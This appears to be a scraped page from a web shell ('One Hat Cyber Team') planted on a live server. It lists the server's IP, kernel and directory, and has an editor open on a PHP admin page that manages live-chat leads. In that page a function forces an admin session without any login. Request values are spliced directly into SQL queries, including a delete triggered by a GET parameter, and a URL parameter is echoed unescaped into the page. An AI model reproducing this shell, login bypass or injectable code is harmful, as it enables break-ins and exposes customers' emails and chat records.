One Hat Cyber Team
Your IP :
216.73.216.240
Server IP :
162.240.106.28
Server :
Linux server.ganesand.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
Server Software :
Apache
PHP Version :
7.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
thoa
/
www
/
admin
/
support
/
Edit File:
leadsnew.php
<?php // create session so we can keep track of users error_reporting(0); session_start(); function validateUser($username,$name,$admin){ @session_regenerate_id (); //this is a security measure $_SESSION['valid'] = 1; $_SESSION['username'] = admin; $_SESSION['name'] = Shahaj; $_SESSION['admin'] = yes; } // check login validateUser($_SESSION['username'],$_SESSION['name'],$_SESSION['admin']); include "includes/base.php"; // check login function isLoggedIn() { if($_SESSION['valid']) return true; return false; } if(!isLoggedIn()) { header('Location: login.php'); die(); } mysql_query("UPDATE users SET keepAlive = '".time()."' WHERE username = '".$_SESSION['username']."' "); // check for email if(isset($_POST['email_convo'])) { $fetch = mysql_query("SELECT * FROM users WHERE username = '".$_SESSION['username']."' "); $result = mysql_fetch_array($fetch); $query = mysql_query("SELECT * FROM archive WHERE convoID = '".$_POST['convoID']."' "); while ($row = mysql_fetch_array($query)) { if($row['class'] == "user") { $customer = $row['name']; } if($row['class'] == "admin") { if($row['name'] != "Admin") { $agent = $row['name']; } } } include "includes/functions.php"; send_archived($_POST['email'],$_POST['convoID'],$result['name'],$result['email'],$agent,$customer); $output = '<div class="success">Email Sent!</div>'; } // delete entry if(!empty($_GET['delete'])) { $fetch = mysql_query("SELECT * FROM leads WHERE id = '".$_GET['delete']."' "); $fetch_result = mysql_fetch_array($fetch); mysql_query("DELETE FROM leads WHERE id = '".$_GET['delete']."' "); mysql_query("DELETE FROM archive WHERE convoID = '".$fetch_result['transcript']."' "); } // build array of leads ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Admin Panel</title> <link href="../css/bootstrap.min.css" rel="stylesheet"> <link href="../css/datepicker3.css" rel="stylesheet"> <link href="../css/styles.css" rel="stylesheet"> <link href="../css/bootstrap-table.css" rel="stylesheet"> <!--[if lt IE 9]> <script src="js/html5shiv.js"></script> <script src="js/respond.min.js"></script> <![endif]--> <link rel="stylesheet" type="text/css" media="all" href="css/colorbox.css" /> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script> <script type="text/javascript" src="js/jquery.colorbox-min.js"></script> <script type="text/javascript" src="js/subs.js"></script> <script type="text/javascript" src="js/cufon-yui.js"></script> <script type="text/javascript"> $(document).ready(function(){ Cufon.replace('h4,h3,h2,h1,label,a,th'); setTimer('<?php echo $_SESSION['username'];?>'); setChecker(); setInterval("setChecker();",10000); setInterval("setTimer('<?php echo $_SESSION['username'];?>');",120000); $(".read_convo").colorbox({opacity:0.9}); }); </script> </head> <body> <nav class="navbar navbar-inverse navbar-fixed-top" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#sidebar-collapse"> <a href="#"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </a> </button> <a class="navbar-brand" href="#">Admin</a> <ul class="user-menu"> <li class="dropdown pull-right"> <a href="#" class="dropdown-toggle" data-toggle="dropdown"><span class="glyphicon glyphicon-user"></span> User <span class="caret"></span></a> <ul class="dropdown-menu" role="menu"> <li><a href="#"><span class="glyphicon glyphicon-user"></span> Profile</a></li> <li><a href="#"><span class="glyphicon glyphicon-cog"></span> Settings</a></li> <li><a href="../logou.php"><span class="glyphicon glyphicon-log-out"></span> Logout</a></li> </ul> </li> </ul> </div> </div><!-- /.container-fluid --> </nav> <div id="sidebar-collapse" class="col-sm-4 col-lg-3 sidebar"> <form role="search"> <div class="form-group"> <input type="text" class="form-control" placeholder="Search"> </div> </form> <? include('../header1.php');?> </div><!--/.sidebar--> <div class="col-sm-8 col-sm-offset-4 col-lg-9 col-lg-offset-3 main"> <div class="row"> <ol class="breadcrumb"> <li><a href="#"><span class="glyphicon glyphicon-home"></span></a></li> <li class="active">Live Chat</li> </ol> </div><!--/.row--> <div class="col-lg-12"> <div class="col-lg-9"> <h1 class="ls"><img src="images/chat.png" alt="Live Support" title="Live Support" width="42" /> Leads and Contacts</h1> </div> <div class="col-lg-3"> <ol class="breadcrumb"> <li><a href="adminew.php"><img src="images/navhome.png" alt="Dashboard" title="Dashboard" width="40" style="margin-right:10px;"/></a></li> <li><a href="leadsnew.php"><img src="images/navleads.png" alt="Leads" title="Leads" width="40" style="margin-right:10px;"/></a></li> <!-- <li><a href="users.php"><img src="images/navusers.png" alt="User Admin" title="User Admin" width="40" style="margin-right:10px;"/></a></li> <li><a href="maint.php"><img src="images/navmaint.png" alt="Maintenance" title="Maintenance" width="40" style="margin-right:10px;" /></a></li> --> </ol> </div> <?php if(!empty($_GET['id'])) { ?> <div class="col-lg-12" style="background-color:#30a5ff;padding:20px;color:#000;"> <? include "includes/base.php"; if(is_numeric($_GET['id'])) { $fetch = mysql_query("SELECT * FROM archive WHERE convoID = '".$_GET['id']."' ORDER BY id ASC"); while ($row = mysql_fetch_array($fetch)) { if($row['class'] == "user") { $user = $row['name']; $user = $row['name'];} if($row['class'] == "admin") { if($row['name'] != "Admin") { $agent = $row['name']; } } } $fetch = mysql_query("SELECT * FROM archive WHERE convoID = '".$_GET['id']."' ORDER BY id ASC"); echo '<div id="padded_box">'; echo '<h3>Archived Conversation between <strong>'.$agent.'</strong> and <strong>'.$user.'</strong></h3>'; echo '<div id="archive"><ul class="chat_display">'; while ($row = mysql_fetch_array($fetch)) { if($row['class'] == "notice") { echo '<li class="'. $row['class'] .'"><span class="user_said">' . $row['name'] . " said :</span><br> " . $row['message'] . '</li>'; } else { echo '<li class="'. $row['class'] .'"><span class="user_said">' . $row['time'] . " - " . $row['name'] . " said :</span><br> " . $row['message'] . '</li>'; } } } else { echo '<div id="padded_box" >'; echo '<h3>Message from customer:</h3>'; echo '<div id="archive">'; echo '<h5 style="color:#000;">'.$_GET['id'].'</h5>'; } echo "</ul></div>"; ?> <!-- <h3>Email a copy of this conversation to:</h3> <form method="post" action="leadsnew.php"> <input type="hidden" name="convoID" id="convoID" value="<?php echo $_POST['id'];?>"> <input size="50" type="text" name="email" id="email" class="input_field"> <input type="submit" name="email_convo" id="email_convo" value="Send Message" class="input_field submit"> </form> --> </div> <?php } ?> </div> <div class="col-lg-12"><?php echo $output;?></div> <div class="clear"> </div> <div class="col-lg-12"> <br> <p>This page lists the details of customers who have contacted you via live support, and have consented for their email address to be stored so that they can be contacted later if required. The conversation record holds a text backup of the conversation that you had with the customer.</p> </div> <div class="clear"> </div> <div class="col-lg-12"> <div class="panel-body"> <table id="leads" data-toggle="table" data-show-refresh="true" data-show-toggle="true" data-show-columns="true" data-search="true" data-select-item-name="toolbar1" data-pagination="true" data-sort-name="name" data-sort-order="desc"> <thead> <tr> <th data-field="state" data-checkbox="true" >Item ID</th> <th data-field="id" data-sortable="true">Item ID</th> <th ata-field="name" data-sortable="true" >Customer Name</th> <th ata-field="add" data-sortable="true" >Email Address</th> <th ata-field="arcg" data-sortable="true">Archived Converstaion</th> <th ata-field="date" data-sortable="true" >Date</th> <th ata-field="blank" data-sortable="true"> </th> </tr> </thead> <tbody> <?php $query = mysql_query("SELECT * FROM leads ORDER BY id DESC"); $AP_ID=1; while ($row= mysql_fetch_array($query)) { ?> <tr> <td></td> <td><?php echo $AP_ID;?></td> <td><?php echo $row["name"];?></td> <td><?php echo $row["email"];?></td> <td><a href= "leadsnew.php?id=<?php echo $row["transcript"];?>">Read archived conversation</a></td> <td><?php echo $row["date"];?></td> <td><a href="leadsnew.php?delete=<?php echo $row["id"];?>"><img src="images/icons/crossb.png" width="17" alt="Delete" title="Delete" /></a></td> </tr> <?php $AP_ID++; }?> </tbody> </table> </div> </div> </div> <div class="clear"> </div> </div> <!--/.main--> <script src="../js/jquery-1.11.1.min.js"></script> <script src="../js/bootstrap.min.js"></script> <script src="../js/chart.min.js"></script> <script src="../js/chart-data.js"></script> <script src="../js/easypiechart.js"></script> <script src="../js/easypiechart-data.js"></script> <script src="../js/bootstrap-datepicker.js"></script> <script src="../js/bootstrap-table.js"></script> <script> $('#calendar').datepicker({ }); !function ($) { $(document).on("click","ul.nav li.parent > a > span.icon", function(){ $(this).find('em:first').toggleClass("glyphicon-minus"); }); $(".sidebar span.icon").find('em:first').addClass("glyphicon-plus"); }(window.jQuery); $(window).on('resize', function () { if ($(window).width() > 768) $('#sidebar-collapse').collapse('show') }) $(window).on('resize', function () { if ($(window).width() <= 767) $('#sidebar-collapse').collapse('hide') }) </script> <script> $(document).ready(function() { $('ul.subcat').hide(); $('li').click(function(event) { event.stopPropagation(); $('> ul', this).toggle(); }); }); </script> </body> </html>
Simpan